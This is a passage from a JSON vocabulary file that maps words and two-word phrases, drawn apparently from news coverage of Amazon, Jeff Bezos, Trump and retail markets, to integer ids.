cap": 219192, "plus page": 219193, "took big": 219194, "calories": 219195, "powerful brands": 219196, "article contf": 219197, "private delivery": 219198, "gertz": 219199, "behemoths apple": 219200, "cameos": 219201, "special report": 219202, "politics johnking": 219203, "favorite network": 219204, "company huge": 219205, "cancel pending": 219206, "hikes trump": 219207, "governmental set": 219208, "page declined": 219209, "ramos released": 219210, "international names": 219211, "block music": 219212, "bezos interviewed": 219213, "karen mcdougall": 219214, "azzopardi mocked": 219215, "dire financial": 219216, "complete abandonment": 219217, "suggested gracie": 219218, "misadventures": 219219, "tryingto": 219220, "president competence": 219221, "1995 commerce": 219222, "neckline dress": 219223, "staff hits": 219224, "shoe nyc": 219225, "ariz ap": 219226, "main readings": 219227, "retail sector": 219228, "hpq according": 219229, "motivated cities": 219230, "lists senator": 219231, "wildfires melting": 219232, "posting young": 219233, "trump supposedly": 219234, "ceasing": 219235, "pagey": 219236, "jassy asked": 219237, "blackmail abramowitz": 219238, "567k reports": 219239, "national linked": 219240, "vigor": 219241, "hell amazon": 219242, "facto monopolies": 219243, "big institutions": 219244, "bit light": 219245, "disrupting just": 219246, "change secondary": 219247, "takes policy": 219248, "trade restrictions": 219249, "bigger companies": 219250, "the\u0430donkey\u0430is": 219251, "whitefish friend": 219252, "aired": 219253, "fundamentals did": 219254, "president attacked": 219255, "steel sculpture": 219256, "captures nearly": 219257, "separate units": 219258, "cloud dod": 219259, "leaveshare": 219260, "comment 5g": 219261, "sustaining": 219262, "shipping perk": 219263, "enomoto": 219264, "months bolden": 219265, "corporate behemoths": 219266, "racial": 219267, "5th avenue": 219268, "officials discouraging": 219269, "arpu": 219270, "msci turkey": 219271, "based lifestyle": 219272, "vuitton handbags": 219273, "festival type": 219274, "fdx according": 219275, "shipper isn": 219276, "la rep": 219277, "sword believing": 219278, "comment minutes": 219279, "internet connectivity": 219280, "cease providing": 219281, "blasio right": 219282, "antitrust regulation": 219283, "fallout shows": 219284, "woo companies": 219285, "writes king5": 219286, "lawyer robert": 219287, "company causing": 219288, "normal trump": 219289, "contender": 219290, "ecolab urges": 219291, "shares sumitomo": 219292, "election breaking": 219293, "outgoing chair": 219294, "jpg 1940x900": 219295, "user doorstep": 219296, "set crime": 219297, "news bing": 219298, "gass knopf": 219299, "million consumers": 219300, "force employers": 219301, "newspaper workers": 219302, "constantly frustrated": 219303, "transport soy": 219304, "republicans talk": 219305, "tellingly": 219306, "york promised": 219307, "sports thing": 219308, "company aggressive": 219309, "legal battle": 219310, "fred": 219311, "close ties": 219312, "conference businesswire": 219313, "getting east": 219314, "nixon tried": 219315, "connie britton": 219316, "argues scott": 219317, "theodos": 219318, "frankly investors": 219319, "keefe": 219320, "justice peele": 219321, "live chickens": 219322, "sources host": 219323, "general megan": 219324, "provide incomplete": 219325, "continually refine": 219326, "individuals": 219327, "environmental issues": 219328, "conditions described": 219329, "critics concerns": 219330, "jwestbrook1 bloomberg": 219331, "doubt contributed": 219332, "eric swalwell": 219333, "suppress content": 219334, "initial attacks": 219335, "master deal": 219336, "fruitless art": 219337, "language paul": 219338, "alexa secretive": 219339, "prime costs": 219340, "nice haven": 219341, "report don": 219342, "lisota ranveer": 219343, "progressive state": 219344, "nypd": 219345, "images server719398": 219346, "told 2018": 219347, "dc smashracismdc": 219348, "matador": 219349, "mai capital": 219350, "status aslam": 219351, "commerce ministry": 219352, "attorney client": 219353, "shift away": 219354, "buck": 219355, "foisted": 219356, "remarks donald": 219357, "cayman islands": 219358, "sa": 219359, "consultant senate": 219360, "brexit delay": 219361, "gibson melgibsonfilms": 219362, "real personal": 219363, "running lights": 219364, "cnn interview": 219365, "large buyer": 219366, "choices final": 219367, "tax deduction": 219368, "coalition suggests": 219369, "hide": 219370, "latest step": 219371, "help": 219372, "posted photo": 219373, "disseminating hate": 219374, "vucci associated": 219375, "enemies trump": 219376, "uploads 2017": 219377, "aviolation": 219378, "schwartz scott": 219379, "credit freeze": 219380, "star cast": 219381, "reality television": 219382, "smaller consumer": 219383, "walmart inventory": 219384, "packages await": 219385, "signing": 219386, "temporarily knocked": 219387, "buckinghamshire": 219388, "prakriya partner": 219389, "artificially higher": 219390, "ohio republican": 219391, "phone services": 219392, "difficult says": 219393, "labarbera president": 219394, "vibram soles": 219395, "starring dhruv": 219396, "leave questions": 219397, "queen cuisine": 219398, "illegal aliens": 219399, "state reporter": 219400, "ultimately affect": 219401, "president regularly": 219402, "lexington institute": 219403, "company announcement": 219404, "wrote cnbc": 219405, "254 shares": 219406, "began cooking": 219407, "amazon pointy": 219408, "chooses": 219409, "changes announced": 219410, "washington favor": 219411, "ann mendoza": 219412, "bizarrely quiet": 219413, "linked": 219414, "ultra controversial": 219415, "projected trilogy": 219416, "state history": 219417, "halts": 219418, "usually live": 219419, "giuliani trump": 219420, "ellyn": 219421, "pick shares": 219422, "resonance": 219423, "smart money": 219424, "battery street": 219425, "crash new": 219426, "breen": 219427, "soon abandon": 219428, "loathes amazon": 219429, "impersonate": 219430, "gives": 219431, "make growth": 219432, "eurotrip": 219433, "incredible courage": 219434, "removed fromoffice": 219435, "america far": 219436, "poorly": 219437, "paper billionaire": 219438, "pseudo": 219439, "materially worse": 219440, "2411390002": 219441, "luxembourg companies": 219442, "rotunda lies": 219443, "pundit notes": 219444, "reviewers theoretically": 219445, "hacked raises": 219446, "amazon advocates": 219447, "sindhuja sankaran": 219448, "market woes": 219449, "agency reviews": 219450, "discomfort": 219451, "best place": 219452, "amazon poised": 219453, "0kkv8cxsoo": 219454, "detailed analysis": 219455, "committed derisory": 219456, "s0 function": 219457, "european business": 219458, "unions bezos": 219459, "youssef": 219460, "deal extreme": 219461, "impressions": 219462, "importing thousands": 219463, "billion opting": 219464, "spelling": 219465, "knowledge": 219466, "cyberattacks": 219467, "german watchdog": 219468, "took proactive": 219469, "relieved citing": 219470, "republicans nominated": 219471, "different story": 219472, "free roll": 219473, "inspire comparisons": 219474, "obama expanded": 219475, "broadcast group": 219476, "scoop amazon": 219477, "killed amazon": 219478, "mil": 219479, "usps legislation": 219480, "2009 financial": 219481, "cicilline talks": 219482, "enquirer wanted": 219483, "codify": 219484, "book fox": 219485, "year critics": 219486, "shallow conspiratorial": 219487, "message celebrating": 219488, "foreign phone": 219489, "substantial assistance": 219490, "highest average": 219491, "photos sign": 219492, "using social": 219493, "oliver sacks": 219494, "says antastic": 219495, "straight men": 219496, "nke sbux": 219497, "company believes": 219498, "hashtag stopthebias": 219499, "adopting board": 219500, "oaks calif": 219501, "stewardship": 219502, "malmquist": 219503, "affiliate stations": 219504, "awaited corporate": 219505, "amazon fail": 219506, "territory dropping": 219507, "american supermarket": 219508, "entire corporate": 219509, "parks state": 219510, "dubbed tropical": 219511, "racist centrist": 219512, "recently wrote": 219513, "including paying": 219514, "content das": 219515, "joint resolution": 219516, "soy silos": 219517, "software program": 219518, "friends meeting": 219519, "programmed": 219520, "stake union": 219521, "james corsi": 219522, "podesta andrew": 219523, "purchases previously": 219524, "getting tough": 219525, "variety amazon": 219526, "physical embodiment": 219527, "touts impact": 219528, "geekwire reported": 219529, "owns 770": 219530, "believe nixon": 219531, "fancy ways": 219532, "icann blocked": 219533, "printing juggernaut": 219534, "inauguration amazon": 219535, "niedzwiadek": 219536, "hill reported": 219537, "sucking": 219538, "boosted online": 219539, "sounded surprised": 219540, "harris faulkner": 219541, "growers eager": 219542, "held stereotypes": 219543, "scene": 219544, "steve schmidt": 219545, "credit history": 219546, "growth bezos": 219547, "handleadoncvpvisibilitychange containerid": 219548, "fresh blast": 219549, "wrigley building": 219550, "gain jones": 219551, "simply wrong": 219552, "yi": 219553, "hall pass": 219554, "lowest reading": 219555, "democrats justicedems": 219556, "queensbridge": 219557, "flanagan": 219558, "dump alphabet": 219559, "tm push": 219560, "anderson williston": 219561, "message board": 219562, "promoting hatred": 219563, "fairness embedded": 219564, "editors recommendations": 219565, "announcement greene": 219566, "presenting proof": 219567, "manufacturers": 219568, "northgate light": 219569, "lobbyists including": 219570, "commission 2010": 219571, "bezos ties": 219572, "business host": 219573, "say brandy": 219574, "competitive grounds": 219575, "respected national": 219576, "corny": 219577, "trump complained": 219578, "weakening environmental": 219579, "bargain report": 219580, "sprawling commerce": 219581, "ruptured": 219582, "president widely": 219583, "waste amazon": 219584, "filing saying": 219585, "immediately wondered": 219586, "openly criticized": 219587, "violates established": 219588, "defining": 219589, "uk just": 219590, "counterfeit issues": 219591, "rates constitute": 219592, "stronger prices": 219593, "irs bills": 219594, "bruising": 219595, "nonbinary choice": 219596, "trump jab": 219597, "probes questions": 219598, "buses crash": 219599, "douglass": 219600, "lowest levels": 219601, "bogus sellers": 219602, "remains threat": 219603, "controversial data": 219604, "thati": 219605, "retailers carrying": 219606, "tech daniel": 219607, "michael flynned": 219608, "novel waiting": 219609, "yeltsin friends": 219610, "message away": 219611, "churning": 219612, "billions brennan": 219613, "cjs": 219614, "key changes": 219615, "fueled bezos": 219616, "wanton": 219617, "government following": 219618, "firms used": 219619, "bank partnership": 219620, "lake trump": 219621, "conservative pages": 219622, "town new": 219623, "stuff shout": 219624, "faang exposure": 219625, "disorderly brexit": 219626, "research group": 219627, "legally challenged": 219628, "key feature": 219629, "unfriendly": 219630, "ami statement": 219631, "warehouse prime": 219632, "wilkinson told": 219633, "times facebook": 219634, "assesses": 219635, "synthesizing": 219636, "gardner foreign": 219637, "alloy": 219638, "daily point": 219639, "claims constituting": 219640, "expressing contrition": 219641, "separate publicly": 219642, "leaked bezos": 219643, "truly pose": 219644, "corp mck": 219645, "consortium 2018": 219646, "president frequent": 219647, "jeff hardy": 219648, "transform education": 219649, "favorable fundamentals": 219650, "hinton check": 219651, "laurent": 219652, "financial situation": 219653, "political seas": 219654, "doesn function": 219655, "shimkus": 219656, "space force": 219657, "eduardo castaldo": 219658, "authority": 219659, "quest": 219660, "biggest 500": 219661, "great potential": 219662, "2016 wow": 219663, "house investigations": 219664, "diamond lewisville": 219665, "implied simultaneous": 219666, "institute began": 219667, "sum reported": 219668, "macd": 219669, "services tax": 219670, "good question": 219671, "eyeing landmark": 219672, "taxi dispatch": 219673, "stock assured": 219674, "buy box": 219675, "shoot melania": 219676, "suspect michael": 219677, "restrict trade": 219678, "carefully": 219679, "a5q function": 219680, "local nonprofits": 219681, "chased amazon": 219682, "services qualified": 219683, "everyday school": 219684, "response efforts": 219685, "level false": 219686, "kore": 219687, "governor lieutenant": 219688, "laurel ihob": 219689, "binoche character": 219690, "sanders says": 219691, "brown signed": 219692, "pay respect": 219693, "fled": 219694, "government uu": 219695, "kimmel hates": 219696, "george papadopoulos": 219697, "trending": 219698, "frequently suggests": 219699, "estranged husband": 219700, "deeply confusing": 219701, "silver sponsor": 219702, "million selling": 219703, "corruption involving": 219704, "story assigned": 219705, "zinke set": 219706, "india stood": 219707, "politically convenient": 219708, "journalists association": 219709, "khq": 219710, "motivated president": 219711, "people pay": 219712, "wharton": 219713, "dr elena": 219714, "retail prices": 219715, "noesis": 219716, "dealer organized": 219717, "brutal reality": 219718, "mark": 219719, "barely visible": 219720, "iphone related": 219721, "intelligence chairman": 219722, "228608 228515": 219723, "usds self": 219724, "gop lackeys": 219725, "york firm": 219726, "va x6cue": 219727, "stations reading": 219728, "jobsplus": 219729, "massive condo": 219730, "slamming tactic": 219731, "rationalworld": 219732, "mortar british": 219733, "volatility scorecard": 219734, "duration videocardcontents": 219735, "administrative efforts": 219736, "devoting": 219737, "auction": 219738, "reveals multiple": 219739, "alandersh": 219740, "donate 250": 219741, "mta board": 219742, "shailesh prakash": 219743, "yoqpgcixof rolandsmartin": 219744, "greenwood": 219745, "acn news": 219746, "tx drug": 219747, "circle embed": 219748, "418": 219749, "amazon pie": 219750, "affords time": 219751, "offer limited": 219752, "used universally": 219753, "election walker": 219754, "trump dod": 219755, "shares dragged": 219756, "singing": 219757, "definitely": 219758, "charter time": 219759, "program matured": 219760, "start shopping": 219761, "lacked safety": 219762, "actual toy": 219763, "cook chief": 219764, "pelecanos hbo": 219765, "clima climate": 219766, "undated photo": 219767, "lyft": 219768, "services sales": 219769, "marvel cloak": 219770, "commerce suggests": 219771, "years allowing": 219772, "wee": 219773, "including proposals": 219774, "left thousands": 219775, "andoverrides": 219776, "significant supply": 219777, "previously replied": 219778, "idiotic claim": 219779, "opposes public": 219780, "amazon rates": 219781, "champion immigrant": 219782, "playbook election": 219783, "direct publishing": 219784, "space amazon": 219785, "corporate earnings": 219786, "worker abuse": 219787, "seattle new": 219788, "story suggesting": 219789, "kc": 219790, "evangelical christian": 219791, "calif bringing": 219792, "911 issues": 219793, "need union": 219794, "total exoneration": 219795, "amazon focusing": 219796, "facist regime": 219797, "overpriced": 219798, "service available": 219799, "great shape": 219800, "considering selling": 219801, "sanchez filed": 219802, "love president": 219803, "sully new": 219804, "organization imazon": 219805, "billion endowment": 219806, "2018 div": 219807, "toughness": 219808, "espoused": 219809, "including massive": 219810, "activity price": 219811, "mission": 219812, "position unjustly": 219813, "destroying competitors": 219814, "coalition": 219815, "republican team": 219816, "stmp q4": 219817, "president jurisdiction": 219818, "shopping trip": 219819, "pr bookfunnel": 219820, "stephanopoulos shot": 219821, "lifting caps": 219822, "using layaway": 219823, "national trade": 219824, "giant remember": 219825, "charlottesville": 219826, "264": 219827, "nunavut visit": 219828, "amazon billionaire": 219829, "pays minimal": 219830, "watergate story": 219831, "remembrance posted": 219832, "salvanto": 219833, "vested scamp": 219834, "senior fellow": 219835, "928": 219836, "shutdown negotiations": 219837, "isolationist policies": 219838, "fever billionaires": 219839, "car tests": 219840, "party company": 219841, "trump key": 219842, "prices buybox": 219843, "personal gratification": 219844, "likes": 219845, "methods": 219846, "bauserman resigned": 219847, "riffed": 219848, "referring": 219849, "p7 var": 219850, "media trump": 219851, "european edition": 219852, "recon mission": 219853, "employers unexpectedly": 219854, "retailers brick": 219855, "leasing office": 219856, "foundation broadcast": 219857, "amazing new": 219858, "brother": 219859, "make promises": 219860, "specific number": 219861, "revenue revenue": 219862, "bode": 219863, "financing bank": 219864, "including github": 219865, "fined 125": 219866, "major pharmaceutical": 219867, "restricting choice": 219868, "companies finagling": 219869, "company disputed": 219870, "eerily": 219871, "lie regular": 219872, "bezos demanding": 219873, "photographer nbc": 219874, "separating kids": 219875, "mature members": 219876, "2018 shortly": 219877, "theater shooting": 219878, "university officials": 219879, "today dalvin": 219880, "enemy amazon": 219881, "profile heaven": 219882, "man money": 219883, "alistair barr": 219884, "amazon probes": 219885, "letter green": 219886, "warc staff": 219887, "noted bezos": 219888, "recommend reforms": 219889, "thumbimageelem thumbimagelargesource": 219890, "rsvp jacqueline": 219891, "close adviser": 219892, "creepy": 219893, "highpaying": 219894, "northam consent": 219895, "austrian": 219896, "avandermey": 219897, "regulation published": 219898, "public libraries": 219899, "trump bump": 219900, "financial reforms": 219901, "reuters clodagh": 219902, "oppression anti": 219903, "million merch": 219904, "growing economy": 219905, "appetites": 219906, "writer joe": 219907, "mohan senior": 219908, "commerce goliath": 219909, "hardest hit": 219910, "company impact": 219911, "spiked yesterday": 219912, "calvin klein": 219913, "hassled covfefe": 219914, "partially legitimate": 219915, "investigationacross multiple": 219916, "revenues spokeswoman": 219917, "report concerning": 219918, "party assumed": 219919, "media environment": 219920, "force identified": 219921, "appearance allowing": 219922, "struggling agency": 219923, "telltale": 219924, "paid 150": 219925, "autotrader": 219926, "second headquartersin": 219927, "2750": 219928, "dare": 219929, "merck": 219930, "simply shoulder": 219931, "local schoolchildren": 219932, "stores operating": 219933, "pypl": 219934, "marketing execution": 219935, "novel enchanted": 219936, "burden": 219937, "excelsior jobs": 219938, "stimulus bonanza": 219939, "final version": 219940, "know today": 219941, "warned world": 219942, "lifetime value": 219943, "opening mock": 219944, "officials predict": 219945, "mortar gap": 219946, "biased agenda": 219947, "subway fare": 219948, "biff": 219949, "passwords exposed": 219950, "trump lawsuit": 219951, "framed photos": 219952, "black privilege": 219953, "wait economists": 219954, "timescolumnist": 219955, "multiple clouds": 219956, "material threat": 219957, "common law": 219958, "camping 101": 219959, "legislative oversight": 219960, "raising legal": 219961, "experience concert": 219962, "motion": 219963, "meal kit": 219964, "considering 2020": 219965, "thoughts change": 219966, "longshot bid": 219967, "nd2pss": 219968, "permit": 219969, "crasher california": 219970, "photos howard": 219971, "amazon killers": 219972, "kidding hotstar": 219973, "amazon immediate": 219974, "growth think": 219975, "68b valuation": 219976, "charismatic single": 219977, "amazon destined": 219978, "shendure": 219979, "offshore profits": 219980, "post lee": 219981, "john new": 219982, "schiff appeared": 219983, "ohio receive": 219984, "persona": 219985, "adele": 219986, "placed haven": 219987, "stark contrast": 219988, "gump": 219989, "don mind": 219990, "reports wider": 219991, "political independence": 219992, "cbs kavanaugh": 219993, "did kind": 219994, "join realdonaldtrump": 219995, "series jack": 219996, "urges judge": 219997, "galloway explained": 219998, "demand investigations": 219999, "mads mikkelsen": 220000, "skilled labor": 220001, "tell amazon": 220002, "friends families": 220003, "suave": 220004, "nahorniak": 220005, "virginia requested": 220006, "amazon stake": 220007, "travel list": 220008, "ruthless monopolist": 220009, "weise write": 220010, "key component": 220011, "rouge": 220012, "approps": 220013, "amazon policy": 220014, "significant results": 220015, "profitable cloud": 220016, "competitors available": 220017, "big differences": 220018, "good reason": 220019, "heidi peterson": 220020, "signaling possible": 220021, "polyphonic": 220022, "ap interested": 220023, "hotel tower": 220024, "personal benefit": 220025, "pulitzer prize": 220026, "business read": 220027, "apple trillion": 220028, "border swing": 220029, "codes": 220030, "bezos tie": 220031, "vehemently": 220032, "4741 supported": 220033, "crush": 220034, "issues catch": 220035, "inevitable sooner": 220036, "delivery mechanisms": 220037, "undeserved competitive": 220038, "selling shares": 220039, "kamm afp": 220040, "controversial issue": 220041, "retailer wagner": 220042, "cavallari": 220043, "drug wholesalers": 220044, "manhattan federal": 220045, "person exceeds": 220046, "parents watched": 220047, "maintaining relationship": 220048, "political supporter": 220049, "idc xiaomi": 220050, "story showed": 220051, "scripts titled": 220052, "win jedi": 220053, "nyc consumer": 220054, "war powers": 220055, "2018 federal": 220056, "learning improves": 220057, "junkies tech": 220058, "free stuff": 220059, "increased hacking": 220060, "marshall college": 220061, "sites requesting": 220062, "criticisms": 220063, "monopoly according": 220064, "racial discrimination": 220065, "a19": 220066, "aids": 220067, "management brittain": 220068, "modernize reads": 220069, "itep nonpartisan": 220070, "descends": 220071, "fair gabriel": 220072, "stars felt": 220073, "hbo hbo": 220074, "intertwined": 220075, "hear amazon": 220076, "credits amazon": 220077, "toilet hard": 220078, "syndrome took": 220079, "names email": 220080, "avoidanother": 220081, "great deception": 220082, "loans": 220083, "board options": 220084, "amandla": 220085, "pettiness": 220086, "jeopardize": 220087, "packaged business": 220088, "avengers": 220089, "diseases darla": 220090, "app stores": 220091, "platform aafa": 220092, "opened pop": 220093, "alnsour": 220094, "potted": 220095, "massive humanitarian": 220096, "distribution deal": 220097, "komatsu": 220098, "anne marie": 220099, "guarding": 220100, "cbs benzinga": 220101, "barcode": 220102, "storm president": 220103, "latest mischief": 220104, "bezos turned": 220105, "enquirer worked": 220106, "moderately high": 220107, "truck vehicle": 220108, "baselessly claims": 220109, "black actress": 220110, "royen": 220111, "devices suggests": 220112, "injurious": 220113, "season aired": 220114, "lee carter": 220115, "financial future": 220116, "operations sent": 220117, "small bore": 220118, "areas amazon": 220119, "guilty party": 220120, "claim seriously": 220121, "unlimited data": 220122, "enjoy running": 220123, "james franco": 220124, "pendant": 220125, "retirement legislation": 220126, "scrutinising big": 220127, "president motivation": 220128, "good friend": 220129, "recongnition": 220130, "janan hanna": 220131, "deal taxes": 220132, "eisen wrote": 220133, "reveals donald": 220134, "related smart": 220135, "corporate pacs": 220136, "carolina football": 220137, "beautiful piece": 220138, "mistakenly identifying": 220139, "logistics industry": 220140, "author ranked": 220141, "delivered stern": 220142, "nike apple": 220143, "products ellison": 220144, "village voice": 220145, "photo galleries": 220146, "temin": 220147, "listers": 220148, "vaxxer wife": 220149, "impose 100": 220150, "schwietzer joined": 220151, "taidafeng": 220152, "pati": 220153, "stump speech": 220154, "says concerning": 220155, "mackenzie statement": 220156, "says democrats": 220157, "literally want": 220158, "practices resemble": 220159, "aggressive programs": 220160, "mnuchkin": 220161, "american library": 220162, "1938 vuillard": 220163, "000 physical": 220164, "today hoda": 220165, "salman arrival": 220166, "warehouse coded": 220167, "neglects": 220168, "fla donna": 220169, "backed ways": 220170, "pointer": 220171, "octopus inside": 220172, "younger audiences": 220173, "similar debates": 220174, "megan brennan": 220175, "photo buy": 220176, "including authoritarian": 220177, "provided trump": 220178, "unaffected trump": 220179, "comic business": 220180, "publicity soon": 220181, "justice antitrust": 220182, "null inc5000companies": 220183, "bold decisions": 220184, "deposit": 220185, "begins talking": 220186, "ebay declared": 220187, "cmtx": 220188, "north face": 220189, "valuable firm": 220190, "niles colin": 220191, "tighten regulations": 220192, "publish story": 220193, "local start": 220194, "sexually violent": 220195, "later actually": 220196, "rising": 220197, "newspaper featured": 220198, "brooks active": 220199, "100008240777381": 220200, "wide international": 220201, "risk creating": 220202, "user reviews": 220203, "just proven": 220204, "amazon dams": 220205, "inevitably involve": 220206, "make stories": 220207, "possible legal": 220208, "supporting evidence": 220209, "video google": 220210, "fiat chryslers": 220211, "maher uses": 220212, "stitcher deep": 220213, "crafts home": 220214, "competitive districts": 220215, "attract millennial": 220216, "law attorney": 220217, "chick fil": 220218, "japan toronto": 220219, "bezos email": 220220, "happened uh": 220221, "slump": 220222, "did away": 220223, "intense investigation": 220224, "heckler interrupts": 220225, "year shares": 220226, "settle": 220227, "galit lev": 220228, "laowilas": 220229, "consumerism": 220230, "shares emily": 220231, "significantly inflate": 220232, "helped internet": 220233, "porn site": 220234, "composite yearly": 220235, "access seller": 220236, "improving shareholder": 220237, "posture": 220238, "customer packages": 220239, "ct feb": 220240, "services google": 220241, "complaints unauthorized": 220242, "valued just": 220243, "media buzz": 220244, "spark spitting": 220245, "pic peccadillo": 220246, "stephenson": 220247, "typeof global": 220248, "israel": 220249, "aging german": 220250, "impending": 220251, "tackling climate": 220252, "hybrid": 220253, "rights amazon": 220254, "gotten large": 220255, "texas instruments": 220256, "cast led": 220257, "hyung jin": 220258, "big votes": 220259, "charges close": 220260, "intense pressure": 220261, "moping": 220262, "repeatedly drawn": 220263, "says amazon": 220264, "paysa": 220265, "figure patrick": 220266, "raise amazon": 220267, "talks serenity": 220268, "deport alien": 220269, "clearly point": 220270, "local journalism": 220271, "secret ahead": 220272, "presidential frontrunner": 220273, "opaque oil": 220274, "john feffer": 220275, "capitalism known": 220276, "anyanwu": 220277, "asylums": 220278, "company market": 220279, "discipline including": 220280, "based discourse": 220281, "military secrets": 220282, "sununu": 220283, "sourcewhether cloud": 220284, "monthly decline": 220285, "technology luddites": 220286, "sending emails": 220287, "gifford": 220288, "present situation": 220289, "expect walmart": 220290, "letter warns": 220291, "hush payments": 220292, "prime subscriptions": 220293, "037": 220294, "consistently high": 220295, "photo shows": 220296, "journal bezos": 220297, "cool crisis": 220298, "public restlessness": 220299, "true amazon": 220300, "sold cogs": 220301, "huh": 220302, "punsters": 220303, "jeffrey gundlach": 220304, "gestured": 220305, "make magnificent": 220306, "gymnastics": 220307, "smart vehicle": 220308, "saw global": 220309, "domenick": 220310, "depth": 220311, "william markham": 220312, "outstanding report": 220313, "gianaris state": 220314, "craig bernstein": 220315, "emission": 220316, "dossier russian": 220317, "amazon grew": 220318, "nation elected": 220319, "harbor geekwire": 220320, "life deteriorates": 220321, "provide window": 220322, "controversy minutes": 220323, "battles cancer": 220324, "imbroglio": 220325, "delivery operations": 220326, "infrastructure costs": 220327, "margin cloud": 220328, "current state": 220329, "salary report": 220330, "statement responding": 220331, "stuffed": 220332, "favorite restaurant": 220333, "9bcneifwej": 220334, "microsoft recently": 220335, "swindling": 220336, "elections victory": 220337, "postal subcommittee": 220338, "financial advisers": 220339, "1814": 220340, "stockpil starbucks": 220341, "regulatory controls": 220342, "basanta": 220343, "live streamed": 220344, "large monopolies": 220345, "bellow novels": 220346, "structurally defective": 220347, "judge issued": 220348, "resolved doesn": 220349, "agents took": 220350, "coincidentally donald": 220351, "nation president": 220352, "latest snl": 220353, "help stated": 220354, "wt nav": 220355, "gates isn": 220356, "hearing set": 220357, "pastor": 220358, "society democrat": 220359, "committee skate": 220360, "good guy": 220361, "concerned saying": 220362, "met man": 220363, "microsoft antitrust": 220364, "ga races": 220365, "cruz suggested": 220366, "people started": 220367, "consumers shift": 220368, "trump hopped": 220369, "office conducting": 220370, "plasma": 220371, "bezos network": 220372, "amazon fba": 220373, "right eisen": 220374, "office actually": 220375, "schlosser amazon": 220376, "facebook questions": 220377, "health organization": 220378, "tedhesson iankullgren": 220379, "philosophy published": 220380, "abortion providers": 220381, "friendly journalists": 220382, "theatrical": 220383, "bezos mixed": 220384, "companies 19th": 220385, "confirms collusion": 220386, "amazon date": 220387, "mclaughlin carly": 220388, "argued hero": 220389, "just \u014261": 220390, "films amazon": 220391, "giveaways": 220392, "katie notopoulos": 220393, "row seat": 220394, "carrier footprint": 220395, "china rose": 220396, "advertisements twitter": 220397, "fired james": 220398, "pt dec": 220399, "epitomizes surveillance": 220400, "defence department": 220401, "year trend": 220402, "nbsptrump says": 220403, "half day": 220404, "questions raised": 220405, "trump saved": 220406, "target anytime": 220407, "fox new": 220408, "amazon oracle": 220409, "involving violations": 220410, "bible classes": 220411, "sanchez met": 220412, "kessler book": 220413, "industrial index": 220414, "tax list": 220415, "mean imagine": 220416, "38m": 220417, "declining": 220418, "especially sensitive": 220419, "low unemployment": 220420, "little did": 220421, "mainstream students": 220422, "sale beginning": 220423, "executives 41st": 220424, "economy economists": 220425, "expansion": 220426, "eckhart isabelle": 220427, "volume ken": 220428, "things looking": 220429, "images words": 220430, "premarket gains": 220431, "brand recognition": 220432, "mall temporarily": 220433, "diaper prices": 220434, "blown war": 220435, "ad just": 220436, "allowing brands": 220437, "flight firm": 220438, "comment election": 220439, "contractors work": 220440, "ms kang": 220441, "google does": 220442, "palestine conflict": 220443, "include hacking": 220444, "second story": 220445, "disbelief": 220446, "snipes accusing": 220447, "warehouses images": 220448, "st kitts": 220449, "absolutely worth": 220450, "business columnist": 220451, "removes fake": 220452, "schumer buyback": 220453, "king read": 220454, "messages suddenly": 220455, "heavy metals": 220456, "casual chef": 220457, "david nakamura": 220458, "richer cities": 220459, "gilchrist sam": 220460, "chastises trump": 220461, "vitiello": 220462, "delete reference": 220463, "justin prentice": 220464, "schools housing": 220465, "locked door": 220466, "trudeau": 220467, "square mile": 220468, "unfair competition": 220469, "people perception": 220470, "seller overall": 220471, "pretzel": 220472, "href": 220473, "100m people": 220474, "policy head": 220475, "maneuver right": 220476, "live did": 220477, "heart stopping": 220478, "spokesperson tagay": 220479, "say wealth": 220480, "question ahead": 220481, "milutinovic": 220482, "accent ethnic": 220483, "uploads 2015": 220484, "genealogy": 220485, "outdoor crossbody": 220486, "representing john": 220487, "sen dianne": 220488, "punches makes": 220489, "fbi surveillance": 220490, "scheduled conference": 220491, "behaved kind": 220492, "life ryan": 220493, "glass house": 220494, "estimates shares": 220495, "neocolonial power": 220496, "seattle crippling": 220497, "middle age": 220498, "thank based": 220499, "provoke": 220500, "longer speak": 220501, "loan guidance": 220502, "corporate entity": 220503, "reach record": 220504, "operationally colorful": 220505, "ahead thanksgiving": 220506, "news things": 220507, "killed": 220508, "56966": 220509, "possible fatal": 220510, "jeff andrews": 220511, "best entry": 220512, "union behavior": 220513, "remains muted": 220514, "cookbook kind": 220515, "development plan": 220516, "beast jessica": 220517, "uk opens": 220518, "haruki": 220519, "press credential": 220520, "tussles": 220521, "step saying": 220522, "pillpack sells": 220523, "reuters alaraby": 220524, "penn plays": 220525, "size age": 220526, "buffett asserted": 220527, "neared mexico": 220528, "allow president": 220529, "9c59": 220530, "investors earlier": 220531, "critics deemed": 220532, "yes look": 220533, "korean officials": 220534, "included private": 220535, "arch enemy": 220536, "department portion": 220537, "giants currently": 220538, "chico": 220539, "known divorce": 220540, "chip sector": 220541, "news today": 220542, "sent 420": 220543, "case study": 220544, "foreseeable future": 220545, "small los": 220546, "weare": 220547, "prominent critics": 220548, "howard tried": 220549, "pano inc_image_caption_override": 220550, "alibaba expects": 220551, "lobbying members": 220552, "heroin epidemic": 220553, "maker begin": 220554, "fanhua": 220555, "st amazon": 220556, "technology senate": 220557, "glass pipe": 220558, "red state": 220559, "going inaudible": 220560, "cringing": 220561, "doctrine views": 220562, "delong inventions": 220563, "cnbc reported": 220564, "negative attitude": 220565, "time rich": 220566, "copy mark": 220567, "dummy": 220568, "false designation": 220569, "dire future": 220570, "mcelhone": 220571, "kind thank": 220572, "prudential": 220573, "connection read": 220574, "unbalanced budgets": 220575, "lines including": 220576, "journal published": 220577, "star hulu": 220578, "libtards": 220579, "bamco new": 220580, "shootings": 220581, "royal watching": 220582, "nashville hub": 220583, "manage margins": 220584, "cctv": 220585, "information 2018": 220586, "deb haaland": 220587, "produced earnings": 220588, "service unveiled": 220589, "don necessarily": 220590, "rye": 220591, "motorola mobility": 220592, "magazine david": 220593, "depend heavily": 220594, "email allegedly": 220595, "brings": 220596, "shippers pay": 220597, "pay rate": 220598, "think hit": 220599, "hand win": 220600, "competition resulting": 220601, "stop fighting": 220602, "vinny": 220603, "default vendor": 220604, "noticed steady": 220605, "foreign power": 220606, "recent midterm": 220607, "miranda green": 220608, "a4ee k0": 220609, "jermaine dupri": 220610, "amazon smb": 220611, "equalizing fund": 220612, "unique national": 220613, "gooey": 220614, "clearly helping": 220615, "offers pro": 220616, "signature phrase": 220617, "huge sequential": 220618, "box office": 220619, "candy hair": 220620, "unheeded": 220621, "interview schiff": 220622, "tax tariff": 220623, "firm vans": 220624, "senate voted": 220625, "hrrr": 220626, "retailers selling": 220627, 